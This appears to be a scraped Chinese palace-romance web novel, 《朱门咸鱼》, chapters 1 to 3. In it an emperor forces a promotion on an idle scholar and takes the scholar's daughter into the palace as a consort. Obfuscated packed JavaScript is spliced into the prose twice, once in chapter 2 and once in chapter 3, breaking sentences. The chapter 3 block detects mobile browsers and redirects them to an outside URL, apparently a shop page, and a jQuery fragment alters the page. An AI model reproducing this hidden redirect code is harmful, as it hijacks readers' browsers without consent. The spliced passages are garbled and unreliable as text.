《朱门咸鱼》 1. 升官 暴雨如注，豆大的雨点砸在御书房外的青石板上，溅起的水花打湿了太监总管吴全顺的蟒纹靴面。他踉跄了一下，险些在殿前滑倒。 “皇上，康王已启程回蜀。”吴全顺的声音在雷声中几乎微不可闻。 御案后的年轻帝王笔锋一顿，朱砂在奏折上晕开一点刺目的红。 他身后是一幅巨大的《九州舆图》，墨迹犹新——这是他登基那年，才命人重新勘测绘制的。二十二岁御极，如今不过两年，这江山在他眼中，尚是一片需要重新熟悉的山河。 萧翊缓缓抬眸，烛火在他深不见底的瞳孔中跳动：“几时走的？” 太后寿辰不过一日，这位异姓藩王便冒雨离京，连表面功夫都懒得做足。 “回皇上，就在半个时辰前。康王府三百亲卫冒雨出城，连太后赐的践行宴都推了。”吴全顺偷眼瞧着皇帝神色，又补充道：“走的是官道，但探子报说车队里多了三辆从未见过的黑篷马车。” 萧翊指尖轻轻摩挲着玉扳指，淡淡道：“倒是归心似箭。” “砰！” 下首的禁军统领赵羯猛地拍案而起，茶盏在紫檀木几上跳了三跳，碧绿茶汤泼洒如泼墨山水。 “就这么放虎归山？”赵羯铜铃般的眼睛瞪得通红，“蜀地那些烂账……皇上都不追究了？” 这莽撞的诘问里，藏着的是武将们最直白的忧虑——他们怕年轻的皇帝缺乏与这些老狐狸周旋的经验与耐心。登基两年，他按兵不动，有些人便真当他是怕了。 萧翊搁下狼毫笔，指尖在案几上轻叩。每一声轻响都让赵羯的怒气矮了一分。 “觉得朕窝囊？”年轻帝王的声音很轻，却让殿内的温度骤降。 赵羯这才惊觉失态。这位草莽出身的将军单膝跪地，铠甲哗啦作响：“微臣不敢！” 萧翊指尖划过蜀地舆图，朱砂在几处关隘上留下血痕般的印记：“国库空虚、南边洪灾未歇，现在削藩？”他忽然轻笑一声，“不如朕与康王同归于尽来得痛快。” 赵羯急得抓耳挠腮：“那要等到猴年马月？” “等他把吞了的都吐干净。” 铜壶滴漏声在殿内格外清晰。萧翊翻开官员名册，状似随意地问：“你觉得夏翀如何？” “谁？”赵羯一脸茫然。 “永宁十一年进士，翰林院修撰。”萧翊指尖轻点一个名字，“今年本该致仕的六品闲官。” 赵羯撇撇嘴：“六十岁还是个修撰，能有什么本事？” “永宁十七年，夏翀收留落魄举子宋微；二十二年与九品主簿谢停云结拜；二十七年资助陆磬进京；三十一年举荐宋方程入仕。”萧翊每说一句，赵羯的嘴就张大一分。 “宋微现在是礼部侍郎，陆磬掌江淮转运，宋方程任御史中丞，谢停云...”萧翊意味深长地顿了顿，“是朕的老师。” 他的声音不疾不徐，将这位六品芝麻官的生平娓娓道来—— “夏翀的夫人出自太医裴家，长女是远平侯次子正妻，长子是谢停云的学生，次子从医。” “好家伙！这个夏什么来着…真他娘的是个人才！”赵羯嘴张得老大，半天才缓过神来，“这样的人怎么在京城毫无名气？” “他三十二岁入翰林院，在翰林修撰的位子上待了二十八年，修了两本拍先帝马屁用的小传。”萧翊敲了敲案上两本装帧华美的书册，《先帝起居注》与《圣祖功德录》，“其余时间就在城外的邯山书院教学生。” 殿外传来脚步声，吴全顺尖细的嗓音响起：“谢太傅到——” 须发皆白的老臣健步如飞，声如洪钟：“老臣谢停云参见皇上！” 萧翊亲自搀扶：“老师尝尝，康王送的蜀茶可还入口？” 谢停云啜了一口，眯起眼睛：“好茶！可惜带着股铁锈味。”他意有所指，眼角余光扫过桌案上泼洒的茶汤，“赵将军这是...舍不得康王？” 赵羯讪讪告退后，萧翊忽然话锋一转：“老师觉得夏翀此人如何？” “咳咳…咳…”不防此问，谢停云呛了一口，白须上沾着水珠，“皇上怎会突然问起他？” “科举将近，朕前几日微服去了邯山学院，凑巧听了夏翀几节课。”萧翊指尖有一搭没一搭地敲着案几，眼里皆是玩味—— “听吴全顺说，夏翀与老师、与宋卿皆是好友，这可不容易。” 多少年了，宋方程和谢停云见面就吵——一个吹胡子瞪眼、一个横眉冷对。就这样一对冤家，却年年初三在夏翀家一桌吃团圆酒。 谢停云的白胡子抖了抖，暗骂吴全顺多嘴，酝酿片刻，答些无关痛痒的：“夏翀祖上颇有家资，好吃喝，喜交友，嗜书如命，还惧内。” “正五品的翰林学士有缺，夏翀可当得？” 谢停云斜眼，忽见年轻帝王眉梢一挑，那神情活像只盯上猎物的狼崽...心里估摸着，夏翀此时大约在欢天喜地地收拾包袱，准备游山玩水去—— 便连连摇头道：“他为人懒散，不求上进，这些年身体也不爽利，比他有才之人比比皆是。皇上…还是放他告老吧！” 萧翊抚掌而笑：“老师果然是他的知己。”转头对吴全顺道，“去夏府宣旨。” 吴全顺退下，谢停云见皇帝心意已决，犹豫片刻后进言：“皇上，夏翀此人虽是个手无缚鸡之力的书生，骨头却硬，若强留他，怕是要装病遁走。” 萧翊眉梢微挑，忽然起身：“那朕便亲自去会会这位''硬骨头''。” “夏翀…贪杯，酒品极差。”末了，谢停云又添一句。 夏府后院，阳光透过梧桐叶的缝隙洒下斑驳光影。 二小姐夏清圆懒洋洋地躺在藤椅上，手中话本《月下佳人传》翻到一半，随手拈起一块玫瑰酥塞进口中，满足地眯起眼睛。 她穿着淡粉色的家常襦裙，发间只簪了一朵新鲜的茉莉，脚上的绣鞋一只挂在脚尖，一只已经掉在了地上。 “清圆！”裴氏的声音从廊下传来，“你要带走的书都收拾好了没有？” “马上——”少女拖长声调应答，身子却纹丝不动，只将话本又翻了一页。 “小姐，再不去夫人等下又发火了。”丫鬟荔枝站在一旁，无奈地看着自家小姐。 “别催我…”夏清圆的声音从话本后面传来，带着几分娇憨，“爹爹说了，人生苦短，及时行乐。” “老爷那是胡说八道…” “谁说我胡说八道？”夏翀的声音从回廊传来，他手里捧着一摞书，额头上有细密的汗珠。对丫鬟道：“荔枝啊，你可别学夫人那一套，女孩子家家的，何必整日拘着？” 荔枝跺跺脚：“老爷！您这样惯着小姐，将来怎么嫁得出去？” “嫁不出去正好，我养她一辈子。”夏翀笑眯眯地说。 “夏清圆！还不快来收拾！”又是一声来自裴氏的河东狮吼，父女俩同时抖了三抖。 “还是去吧......”夏翀惧内。 “京城多繁华，干什么非要回扬州。”夏清圆嘟囔一声，正要跑开，忽然听到前院一阵骚动。 小厮慌慌张张引着吴全顺进来—— “圣旨到！” 夏家众人面面相觑，上次接旨还是二十八年前夏翀封官的时候。 “奉天承运皇帝，制曰：朕膺昊天之眷命，嗣大统而临万方。念创业之维艰，实赖旧臣之弼赞。翰林院修撰夏翀，勤勉夙著，才学可嘉。特晋翰林学士，正五品，以彰旧劳。尔其恪尽职守，佐理文翰，钦哉！” 夏翀脑子嗡嗡的—— 他这人胸无大志、小富即安，早年被爹娘逼着科举入仕，在翰林院浑水摸鱼二十八年。好不容易熬到儿女都有了着落，能放心致仕。谁料，一道圣旨，美梦落空。 “五品以上官员由中书省门下选授，皇上亲自任命。”吴全顺打量着面如死灰的夏大人，心里暗笑，嘴上连连恭喜：“大人熬了二十八年，终于迈过了五品这道槛。” “接旨啊！”裴氏从震惊中回神，手肘顶了他一下。 “不不不不…在下不……”夏翀缓过神来，磕磕巴巴一连说了几个不字。 “大人的行李，没白收拾。”吴全顺把圣旨塞到他手里，前后左右打量这处简朴却雅致的小宅一番，笑道：“吏部不日将准备官邸给大人。” “在下才疏学浅，年纪又大、身体也不好，实在是怕辜负了皇上的期许……”找回僵硬的舌头，夏翀还想推辞。 “大人过谦了。”吴全顺安抚他片刻，忽然想起早时谢停云在御书房白了他一眼，心念一动——顿了顿，笑吟吟说：“是谢大人亲自在皇上面前保举的您……” 果然，夏翀眉毛一立，后槽牙咬得咯咯响。 “另外，选秀在即，京中五品以上官家女儿，皆在备选之列。” 夏翀余光看着一脸不知愁的女儿，脸又白了一茬。 吴全顺前脚刚走，小厮又来报：“老爷，谢大人来了，还有…” 没等小厮话说完，夏翀撸起袖子就冲了出去，骂骂咧咧：“谢停云！我夏翀哪里得罪了你！要这样害我！” 谢停云被夏翀揪住后领，老脸涨得通红，连连摆手：“夏兄息怒！此事说来话长...” “那就长话短说！”夏翀咬牙切齿，手上的力道又重了三分，“我熬了二十八年，好不容易能告老还乡，你倒好，在皇上面前给我穿小鞋！” 谢停云被勒得直咳嗽，眼睛却一个劲儿地往一旁瞟—— 夏翀顺着他的视线望去。 “谁？”京城里的大官小官多如牛毛，还轮不到夏翀面圣。 “皇上……”谢停云又使了个眼色，用口型回他。 夏翀的手顿时松了。 萧翊目光在两人之间转了一圈，唇角微扬：“听闻夏先生府上藏书甚丰，特来借阅。” 夏翀额上沁出细汗，正要行礼，却被谢停云一把拉住：“黄公子是老夫的学生，夏兄不必拘礼。” “书房在前院，请随我来。”夏翀勉强挤出一个笑容，心里却翻江倒海。 皇上微服私访，就为了他这个小芝麻官？ 三人刚转过回廊，忽听一阵银铃般的笑声从后院传来。 “爹！娘问你还搬家吗？门口马车上的书箱要不要搬回来？”她清脆的声音在庭院里回荡，发间珠钗随着轻快的步伐叮当作响。 话音戛然而止。夏清圆睁大眼睛，看着突然出现在家中的陌生男子—— 阳光透过紫藤花架，在那人轮廓分明的侧脸上投下斑驳光影，他唇角微扬的样子，像极了话本里描写的翩翩公子。 “这位是...”夏清圆慌忙放下怀中的书册，却不小心碰落了最上面那本《月下奇缘》。 “这是谢伯伯的学生黄公子。”夏翀干咳一声，用眼神示意女儿注意仪态。 萧翊捡起画本递给她：“《月下奇缘》？” “我...”她惊讶抬头，正对上他含笑的眼 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夏翀展开一看，是康王奏请增加蜀地盐引的折子。他眉头微皱，这明显是趁新帝登基，试探朝廷底线。 “夏卿以为如何？” “这...”夏翀斟酌着词句，“蜀地盐井产量有限，若增盐引，恐有私盐之患。” “说得好。”萧翊目光灼灼，“那夏爱卿可知，康王这些年通过盐铁走私，敛财几何？” 夏翀背后渗出冷汗。皇上这是要拿他当枪使啊！心里琢磨着，皇上大约不是看中他的才学，而是他那些遍布朝野内外的门生故旧！ “臣目光短浅…”夏翀硬着头皮推辞。 萧翊不置可否，踱步到窗前—— 却见回廊处探出个小脑袋，夏清圆正偷偷往这边张望，四目相对时，她像只受惊的兔子般缩回去，只留下晃动的珠链。 萧翊似笑非笑，话音一转：“既然如此，朕备了些酒菜，给夏卿践行吧。” 梨树下，石桌上摆开了酒菜。萧翊亲自斟酒：“夏大人为官二十八载，劳苦功高，这一杯朕敬您。” 夏翀战战兢兢接过：“皇上折煞老臣了…” 萧翊举杯，给夏翀顺毛：“今日不谈朝政，只叙闲情。” 三杯下肚，夏翀紧绷的神情渐渐放松。五杯过后，他开始滔滔不绝地讲起当年在翰林院的趣事。 “...那宋方程啊，天生就是当御史的料，年轻时比现在还倔！有一次先帝让他写首诗，他硬是憋了三天，最后交上去一首''天子圣明''四个大字！哈哈哈...” 萧翊眼中含笑，又给夏翀满上：“夏卿的好友遍布朝中。” “那是！”夏翀拍桌，“当年他谢停云穷得吃不起饭，是我天天带他去蹭饭！现在倒好，在皇上面前坑我...” “夏卿误会了，”萧翊叹息，“其实是朕坚持要留您。您想想，如今朝中像您这样德高望重又淡泊名利的老臣有几个？” 夏翀已经喝得满面红光，闻言摆手：“皇上啊，老臣真不是那块料...我就想回乡教几个学生，侍弄花草...” “康王离京时，带了三百亲卫，三辆黑篷马车。”萧翊忽然正色，压低声音，“探子报说，那车里装的都是朝中各部官员的孝敬。” 夏翀酒意稍醒，瞪大眼睛：“这...这...” “朕需要夏卿这般头脑清醒、擅交际、肯实干的老臣相助，”萧翊握住夏翀的手，“夏卿难道忍心看朕一人面对那些豺狼？” 夏翀嘴唇颤抖，醉意与责任感在脑中交战。萧翊趁机又给他满上一杯：“只要夏大人答应留任，朕保证，待朝局稳定，亲自送您荣归故里。” “真的？”夏翀迷迷糊糊地问。 “君无戏言。” 夏翀一仰脖子干了杯中酒，豪气干云地拍桌：“好！老臣就再...再干两年！” 成了！萧翊与一旁哭笑不得的谢停云对视一眼，碰杯。 这时，回廊处传来一声轻呼。两人转头，只见夏清圆端着托盘站在那里，杏眼圆睁。 “爹！您又喝多了！”她快步走来，瞪了萧翊一眼，“黄公子，我爹酒品极差...” 话音未落，夏翀已经摇摇晃晃站起来，一把抱住身后的梨树：“夫人！为臣答应皇上留任了！为夫...嗝...为臣是个忠臣啊！” 夏清圆又羞又急，正要上前搀扶，却见萧翊已经利落地架住夏翀，动作娴熟得仿佛经常处理醉汉。 “不必担心，”萧翊笑道，“夏卿这是忠君爱国，一时激动。” 次日清晨，夏翀抱着脑袋从宿醉中醒来，发现全家人围在床前，神色复杂。 “怎么了？”他茫然地问。 裴氏叹气：“你答应皇上留任了。” 夏翀如遭雷击：“什么？！” 夏清圆小声补充：“爹还说只要不再修《圣祖功德录》，干什么都行...” “不可能！”夏翀跳起来，随即因头痛跌回床上，悲鸣：“饮酒误事啊...” 管家慌慌张张跑进来：“老爷！吏部来人了！这次是正式任命！” 与此同时，皇宫内，萧翊把玩着一本从夏府“顺”来的《月下佳人传》，嘴角含笑。 吴全顺小心翼翼地问：“皇上，选秀的事...” 萧翊合上书册：“按名单来，一个都不能少。” 窗外，春光正好。 2. 俗人 檀香缭绕间，《资治通鉴》静静摊开在“唐纪”篇章，墨色在宣纸上洇出森然寒意。太后段氏的丹蔻划过“玄武门”三字，在烛火下泛着血色的光泽。 “瑞儿，今日母后给你讲‘玄武门之变’。”太后的声音沉稳有力，年过五十的她非但未见老态，眉宇间反而有种女子身上少见的劲韧。从康王府庶女到当朝太后的路，是踩着无数人的尸骨走来的。 她指尖点在书页上，丹蔻灼目：“这是唐太宗夺取皇位的关键一役。” 萧瑞是太后段氏与先帝的老来子，今年十岁，跪坐在织金蒲团上，眼睛亮晶晶的：“就是那个兄弟相残的故事吗？” 太后指尖重重叩在紫檀案几上，九凤护甲碰撞出清脆声响，“帝王之术，怎能轻言‘相残’？”见幼子瑟缩，又缓了语气道：“若无雷霆手段，今日太庙里供奉的就是隐太子了。” 萧瑞缩了缩脖子，小手却兴奋地攥紧衣角：“他亲手射死兄长吗？” 话音未落，殿外突然传来纷乱脚步声。鹅黄宫装的段婕妤不顾宫人阻拦闯了进来，鬓边累丝金凤钗歪斜着，手中拎着食合，显然刚往御书房献殷勤回来。 “姑母！皇上又出宫了！昨晚都没回来！”她声音尖利，带着哭腔。 “看看你的样子！成什么体统！”太后呵斥一声，随手把《资治通鉴》合上，冷眼扫向一旁的肃月嬷嬷。 老嬷嬷会意，转身便对殿外掌事太监道：“哪个放段婕妤擅闯的？拖下去打二十脊杖！” 门口的太监宫女‘呼啦啦’跪倒一片，求饶声此起彼伏：“段婕妤突然闯进来，还未来得及…嬷嬷饶了奴才吧！” 经这一场，段婕妤的火气登时灭了九分。慌忙跪下时，腕间翡翠镯撞在青玉砖上，裂成两半。“侄女...侄女是听说皇上昨夜未归...” 太后掀开食盘，眉头微蹙：“皇上食忌杏仁。” “啊？”段婕妤傻眼，泄气道：“侄女不知。” “你也在皇上身边有些日子了，做事能不能长长脑子。”太后的声音里透着寒意。 “皇上天天不是在御书房、就是出宫，来后宫也是去皇后宫里看大皇子。”段婕妤丝毫没注意到太后的不耐烦，连声抱怨，“这小半年，我连皇上的影子没捞着！哪知道皇上爱吃什么！” “表姐真笨！”萧瑞笑嘻嘻地奚落。 段婕妤白他一眼，“皇上见天儿地往出跑，真不知道宫外有什么好的！” 肃月及时回禀：“皇上昨日去了夏府。” “哪个夏家？”太后问。 “就是远平候次子祁云朗的岳丈家。”肃月提前把事情查得清清楚楚，解释道：“夏翀是个六品闲官，没什么政绩，皇上昨日才把他提到五品。” “我见过祁云朗那位夫人，一脸的狐媚相。”段婕妤向来在女眷的长相上留心。她诶呀一声，像是想通了什么不得了的事，“五品家的姑娘就能选秀了！皇上定然是看中了夏家的姑娘！” “是吗？”太后心里觉得萧翊不是贪色之人，但那夏家实在没什么本事，她也想不出别的缘由。 肃月点头，印证了段婕妤的猜想：“之前远平候次子大婚时，奴婢见过夏家那位二小姐，很出挑。” 太后了然——肃月谨慎，能让她用“出挑”两个字，便不是寻常的庸脂俗粉可比。 “狐狸精！”段婕妤轻啐一声，大呼小叫地出些馊主意：“姑母！你发道懿旨，随便把夏家那个狐媚赐婚给谁！一定得断了皇上的念想！” 太后突然将茶盏掷在地上，碎瓷溅到段婕妤裙边，“康王府就教出你这点见识？” “皇后娘娘到——” 珠帘轻响，进来个年轻妇人，圆盘脸、丹凤眼，白里透红的肤色看着就喜人。 余光扫了眼段婕妤，佯若未见：“儿臣给母后请安！” “昀儿可好些了？”太后问起前几日在校场淋雨感染风寒的大皇子，劝道：“到底才是个七八岁的孩子，皇后别太严厉了。” “皇上常说昀儿资质平庸...”皇后目光扫过案上典籍，笑意更深，“若能有瑞王弟半分聪慧，臣妾便安心了。” 太后果然很受用，话锋一转，和颜悦色问：“选秀的事都落定了？” “臣妾与皇上商量了，先皇的孝期刚过，不好大张旗鼓地操办，就令户部选几个家世清白的闺秀充盈后宫，万事从简。”皇后办事老道稳重。 “只是有一人，臣妾拿不准主意，特来请教母后......”她翻开花名册，指了指圈红的‘夏清圆’三个字。 “夏氏？”太后揣着明白装糊涂，问：“这是谁家的姑娘，哀家怎么没听说过。” “吴全顺方才来禀，说这位夏姑娘的名字是皇上御笔的圈的，怠慢不得。” “夏氏家世不高，但皇上又在意，儿臣想给她给五品才人的位份，既不逾矩，也不算埋没了皇上的心意。” “难得皇上喜欢，就直接封为婕妤罢。” “姑母！”段婕妤霎时变了脸色。夏氏是个什么东西！也配和康王府的姑娘平起平坐？ “这夏氏真是有福气。”皇后笑吟吟，没半点不悦：“臣妾全听母后的。” “母后给了夏氏个好位份，臣妾也没别的拿得出手的，就…再给夏氏个好住处吧。” 皇后展开皇舆图，细笔一圈：“临华宫离皇上的养心殿最近。” 说了会子闲话，皇后起身告退，前脚刚踏出慈安宫的门，就听见段婕妤哭哭啼啼闹起来… “娘娘为何这般抬举夏氏，她若真得了皇上喜欢，位份再高，日后岂不麻烦？” 婢女秋霜不解，谏言：“不如在她刚进宫时压一压。” “皇上与本宫是君臣，自然不能如寻常夫妻那般争风吃醋。”皇后浑不在意，笑吟吟道：“皇上喜欢谁，本宫就要喜欢谁。” “可…”秋霜还欲劝。 “在这熬着，到底为的是父兄在朝上的站位、家族的前程，何必在不打紧的事上浪费精神。” 路过怡春宫，见里面热热闹闹一团，秋霜“啧”了一声：“贤妃可真风光。” 皇后回头远望慈安宫的门楣，不在意道：“只要本宫坐稳皇后的位子，以后日子还能差哪去？” 十日后，三月初九，吴全顺带着圣旨又一次进了夏家新宅的大门。 夏清圆被封为正三品婕妤，封号婉。 夏家名不见经传的日子一去不复返，忽然成了来日可期的京城新贵。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“人往高处走，水往低处流，爹你好不容易考进京做官，干什么又要回老家？”夏清圆说出了一直以来的不解，她觉得京城好、样样都好，一点不想回乡，“再说了，若回了乡，大哥还要从老家一层层重新往京城考，要费多大的劲。” 话锋一转，又若有所思评价道：“何况那皇上长得不错、人也和气，老家可找不到那样的如意郎君！” “我就不该让你看那些话本子！把脑子都看坏了！”夏翀一股血气直冲脑门，忽又问：“等等...你见过皇上？” “不就是那天来咱家那位年轻公子嘛！”夏清圆一笑，腮边漾起两个小梨涡，有些掩饰不住的得意：“我又不是傻子，这点眼色都没有。” 揽着裴氏的胳膊，母女两个统一战线，“回了老家，我顶多嫁个穷书生，一辈子拘在家里相夫教子，我不要！” “女儿啊！平凡日子有平凡日子的好处。爹保证，就算回乡也不催你嫁人行不行？”夏翀软硬兼施，怎么看幺女都不是进宫当娘娘那块料，一锤定音：“我明日就进宫亲自面圣辞官，我就不信，哪有牛不喝水强按头的道理。” “我！要！进！宫！要回乡爹就自己回吧！”一跺脚，夏清圆捧着圣旨跑了。 “都是你惯的！”夏翀对裴氏吼道。 “知女莫若母。”裴氏不恼，看着女儿的背影，若有所思地给夏翀顺毛。 这丫头长了一张水灵灵、仙女儿似的脸，又跟着夏翀耳濡目染一身书卷气，可骨子里却是个争强好胜、喜好光鲜繁华的“俗人”。 3. 宠爱 一晃，夏清圆入宫已一月有余。 宫里的日子，竟不如想象中的无聊，反而比她预想中更易磋磨。除却初一十五定省两宫，她大半光阴都消磨在临华宫内，乐得清闲。 此处不愧是先皇宠妃旧居，虽不巍峨，却极尽工巧。独门独院，正殿、书房、寝阁一应俱全，最难得的是竟辟了间小厨房。 皇后和善周到，特拨了个名唤锦娘的厨娘来，手艺精绝，将夏清圆那张本就明媚的小脸，滋养得愈发莹润，透着一股被精心供奉起来的闲适。 “香菇、肉糜、鹅脯……呀，今儿还有葡萄和樱桃！”荔枝清点着内侍省送来的份例，声调里透着满足。 正三品婕妤的用度，着实丰厚。 窗下，夏清圆正窝在铺了软缎的摇椅里，阳光透过冰裂纹窗棂，在她周身筛下细碎光斑。 她似睡非睡，听见“樱桃”二字，长睫微颤，懒懒翻身，手臂一展，恰好将矮几上那卷看了一半的《风流才子俏佳人》扫落在地。 在夏家时，父亲官位不显，虽有祖产支撑，用度也需计较。似葡萄、樱桃这般矜贵物，不过是年节或是长姐归宁时，才能偶见。 眼前这一碟红艳艳、亮晶晶的果子，便显得尤为可爱。她捧起越窑青瓷碟，朝荔枝招手，“快来，咱们分着吃了。上次吃糖酪拌樱桃，还是在我姐姐的喜宴上。” 荔枝依言上前，拈起一颗，却有些神思不属。 她咽下果肉，压低声道：“小姐，您没觉着么？这阵子，内侍省那起子人，对咱们临华宫，可没刚来时那般殷勤周到了。” “那有什么打紧，”夏清圆浑不在意，指尖捏着樱桃梗，轻轻转动，“我的位份俸禄摆在这儿，他们难不成还敢明着克扣？”唇上沾了嫣红汁液，仿若点了上好的口脂。 “话是这么说……”荔枝常在宫中行走，听得多了，心下难免焦灼，“奴婢昨日还看见姜宝林的宫人往御书房送甜汤，可殷勤了！怕是只小姐你心大。” “姜宝林？”夏清圆微微歪头，努力回忆着那张面孔，“就是那个……像只得胜鹦鹉，总昂着脖颈的？” 荔枝想起那情形，也忍不住“噗嗤”一笑，随即又垮下脸：“小姐！您正经上些心啊！” “皇上不来，我难道能去金銮殿上绑他不成？”她理直气壮。 自小被母亲严加管教，如今飞出笼子，自立门户，正是贪享自由的时节。 这一个月，她将“懒”字诀修到了极致，终日不是琢磨吃食，便是沉溺话本，骨头都养酥了。 眼眸滴溜溜一转，闪着精打细算的光：“我都盘算好了！正三品婕妤，岁俸二百贯，禄米二百石。宫里吃穿用度皆不花钱，细细算来……即便不见天颜，咱们主仆也能衣食无忧，逍遥自在过一辈子呢！” 荔枝被她这番“长远规划”说得一怔，总觉得哪里不妥，细想却又无言以对，只得叹道：“小姐您心里有数就好。” 她收了樱桃核，走到殿门边，恰看见锦娘正叉着腰训斥一个躲懒的小宫女。 脚步一顿，折返回来，忧色更重：“小姐，您不见圣颜，底下人最是会看风向。我昨日还瞧见小禄子偷偷给内侍省的黄公公塞银子，想活动活动，调去别处呢！” “哦？”夏清圆打了个小小的哈欠，漫不经心，“他想去哪？” “贤妃娘娘的储秀宫。”荔枝声音压得更低，“贤妃娘娘出身显赫，如今又身怀龙裔，圣眷正浓，也难怪小禄子削尖了脑袋想往里钻。” 贤妃？夏清圆眸光微凝。 进宫前，父亲夏翀曾细细叮嘱过，贤妃之父是礼部尚书曹扣军，出身陇西望族。而陇西曹氏……与那位权势煊赫的康王过从甚密。 太后并非皇上生母，皇上又对康王心有芥蒂…… 电光石火间，诸多线索在她脑中串联成一条模糊却危险的线。 “盯紧小禄子。”夏清圆的声音依旧软糯，却透出一丝玉磬般的清冷。 吩咐完，她弯腰拾起话本，重新窝回摇椅。 书页翻动，才子佳人的悱恻情节很快又占据了心神，看得她颊染红霞，眼波流转，仿佛方才那一瞬的冷静思量，不过是日影移墙产生的错觉。 御书房内，龙涎香在鎏金兽炉中静焚，氤氲出沉凝气息。 萧翊端坐于紫檀木御案后，朱笔悬停，已对着摊开的科举章程凝神了半刻。 殿外日影西斜，将窗棂的影子拉得斜长，在他明黄袍角投下交错的光痕。 吴全顺手捧一盏新沏的君山银针，悄步近前，将温热的茶盏轻轻搁在案角，低声提醒：“皇上，申时已过，皇后娘娘与贤妃娘娘宫里都遣了人来，问陛下晚膳如何安排？” 萧翊未抬眼，只将手中朱笔往砚山上一搁，发出清脆一响：“朕前日让谢停云拟的会试班子名单，他可呈上来了？” 吴全顺应了声“是”，转身至偏案翻检，取来两封奏折，展开念道：“主考官，礼部尚书曹扣军；监试官，御史宋方程；阅卷官……” 他话音一顿，目光在某个名字上停留，方带着迟疑念出：“夏翀？” 萧翊听出他声气中的异样，终于抬起眼，目光沉静如水：“你觉得不妥？” “奴才不敢！”吴全顺慌忙躬身。 “哪里不妥。”萧翊强势问道。 “奴才只是觉得……”吴全顺不敢不答，组织语言道：“历届阅卷官皆由德高望重的阁老或翰林学士担当。夏大人学问是好的，只是官居五品，资历尚浅，恐难以服众。” 萧翊指尖在案上轻叩两下，似是思忖，随即开口：“传旨，晋夏翀为……” 话说一半，他却忽然顿住，被什么无关紧要的闲事分心，转而问道：“夏清圆在做什么？” 吴全顺一怔，垂首应答：“婉婕妤除定省外，平日多在殿中读书、品茗，甚少与人往来。” 萧翊执笔的手微不可察地一顿，摇了摇头低语：“太清闲了。” 恰在此时，吴全顺似想起什么，低声补道：“还有一事……临华宫有个叫小禄子的内侍，其兄长是今科举子。他日前暗中打点了内侍省的黄澄，想调往贤妃娘娘宫中当差。” 萧翊眸光倏然一冷，旋即起身，玄色袍袖拂过案几，带起一阵微寒的松风。 “摆驾临华宫。” 到了临华宫，萧翊摆手免了通传，径自绕过琉璃影壁。 恰见紫藤花架下摆着张酸枝木圆桌，夏清圆正举着银箸夹一片胭脂鹅脯，听见脚步声慌得箸尖一颤，鹅脯“啪嗒”落进甜白釉瓷碟里，溅起几点梅子酱。 “不知圣驾降临……”她慌忙起身，发间玉兔步摇的流苏与紫藤花穗缠在一处，带得落英簌簌。 春衫单薄，藕荷色衣襟的珍珠纽绊松了一颗，自己却未察觉。 萧翊驻足，看着她手忙脚乱整理钗环的模样，忽然想起夏府假山后那双惊慌的眼睛。 那时觉得稚气，如今却在暮春光影里瞧出别样风致——她慌乱时眼尾天然泛红，像雪白宣纸上徐徐晕开的胭脂色。 他不动声色地移开视线，看向桌上的暖锅：“才入秋，就吃锅子？” 夏清圆捏着衣角，声如蚊蚋：“臣妾……体寒。” 萧翊目光扫过她手边那碟冰镇梅脯，眉梢微挑，却未点破，只淡淡道：“朕还未用晚膳。” 他径自在石凳上坐下，看了眼仍站着的她：“坐下吧。” 夏清圆小心翼翼地在他对面坐下，下意识地将那碟梅脯往远处推了推。 萧翊瞧见她这小动作，眼底掠过一丝极淡的笑意，稍纵即逝。 他不再看她，自顾自执起备用的银箸，夹了片笋尖放入沸汤中涮了涮，动作从容。氤氲热气模糊了他过于锐利的轮廓，竟显出几分这个年纪应有的清隽。 “这汤底不错。”他忽然开口，声音在蒸汽里显得平和了些许，“你也用些。” 夏清圆微微一怔，有些局促地拿起自己的筷子。花影在两人之间摇曳，一时只剩下汤沸的轻响。他吃得安静而专注，仿佛真的只是来用一顿便饭。 直到搁下筷子，萧翊才抬眼看向她，目光已恢复清明锐利，却不再带着审视的压迫感。 “宫里的日子，还习惯么？”他问得随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908780|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，像是寻常问候。 夏清圆斟酌着回道：“谢皇上关怀，一切都好。” “嗯。”萧翊起身，玄色衣袂在晚风中微动，“临华宫既由你住着，不得放纵了下人。”他语气平淡，却意有所指。 说罢，未再多言，转身离去。 夏清圆望着他消失在影壁后的背影，轻轻松了口气，这才发觉手心里竟沁出薄汗。 而桌上那碟她推远的梅脯，不知何时，又被皇帝随手推回了她手边。 晚膳后 宫灯初上，临华宫内一片静谧。夏清圆正倚在窗边翻书，却见吴全顺去而复返，身后跟着两列手捧锦盒的宫人。 “婉婕妤，”吴全顺笑容可掬地行礼，“皇上说方才的菊花锅子甚好，特赏下新贡的杭菊二两，让您平日泡茶喝。另有云锦两匹，珠花数对，给您赏玩。” 夏清圆忙谢恩接过。这赏赐来得突然，她心头微动，隐约觉得不只是锅子的缘故。 果然，吴全顺并未立即离去，反而示意宫人将东西送入殿内安置，自己则上前一步，低声道：“皇上今晚在养心殿批阅奏折，晚些时候……会过来歇息。请婉主子早作准备。” 荔枝在一旁听得眼睛发亮，夏清圆却微微一怔，随即垂下眼帘：“有劳公公提点。” 月色如水银泻地，临华宫内的烛火比往日燃得更亮些。 夏清圆沐浴更衣后，选了一身浅碧色的常服，发间只簪了支简单的玉簪，坐在内殿灯下，手里虽拿着书，目光却不时飘向窗外。 直至亥时初，殿外终于传来清晰的脚步声与内侍的通报声。 萧翊换了身墨蓝色常服，褪去了白日里的帝王威仪，眉宇间带着几分批阅奏折后的倦色，倒显出几分青年人的清朗。 他走进内殿，见夏清圆起身欲行礼，摆了摆手：“不必了。” 他的目光在她身上停留一瞬，“在看什么书？” 他走近，很自然地拿起她放在小几上的书卷，瞥见封面并非话本，而是一本《地方风物志》，眉梢微动。 